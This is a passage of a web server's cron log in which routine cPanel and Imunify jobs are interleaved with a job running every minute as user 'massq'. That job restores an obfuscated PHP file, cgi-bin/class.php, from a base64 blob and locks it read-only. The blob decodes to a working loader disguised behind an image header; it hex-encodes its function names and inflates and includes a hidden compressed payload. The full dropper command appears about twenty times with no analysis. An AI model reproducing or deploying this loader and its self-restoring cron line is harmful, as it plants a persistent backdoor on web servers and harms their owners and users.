QKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:52:01 server CROND[23357]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:53:01 server CROND[23835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:53:01 server CROND[23836]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:53:01 server CROND[23837]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:54:01 server CROND[24214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:54:01 server CROND[24215]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:54:01 server CROND[24216]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:55:01 server CROND[24610]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 04:55:01 server CROND[24612]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:55:01 server CROND[24615]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:55:01 server CROND[24617]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 04:55:01 server CROND[24613]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 04:55:01 server CROND[24616]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 04:55:01 server CROND[24614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:56:01 server CROND[25445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:56:01 server CROND[25446]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:56:01 server CROND[25447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:57:01 server CROND[25850]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:57:01 server CROND[25852]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:57:01 server CROND[25853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:57:01 server CROND[25851]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 04:58:01 server CROND[26327]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:58:01 server CROND[26328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:58:01 server CROND[26329]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:59:01 server CROND[26719]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 04:59:01 server CROND[26721]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:59:01 server CROND[26720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:00:01 server CROND[27125]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 05:00:01 server CROND[27128]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 05:00:01 server CROND[27132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:00:01 server CROND[27136]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:00:01 server CROND[27143]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 05:00:01 server CROND[27140]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 30 05:00:01 server CROND[27144]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:00:01 server CROND[27141]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 05:00:01 server CROND[27148]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 05:01:01 server CROND[28034]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 05:01:01 server CROND[28036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:01:01 server CROND[28037]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:01:01 server CROND[28035]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:01:01 server run-parts(/etc/cron.hourly)[28034]: starting 0anacron
Aug 30 05:01:01 server run-parts(/etc/cron.hourly)[28056]: finished 0anacron
Aug 30 05:02:01 server CROND[28434]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:02:01 server CROND[28433]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:02:01 server CROND[28435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:03:01 server CROND[28827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:03:01 server CROND[28828]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:03:01 server CROND[28829]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:04:01 server CROND[29307]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 05:04:01 server CROND[29308]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
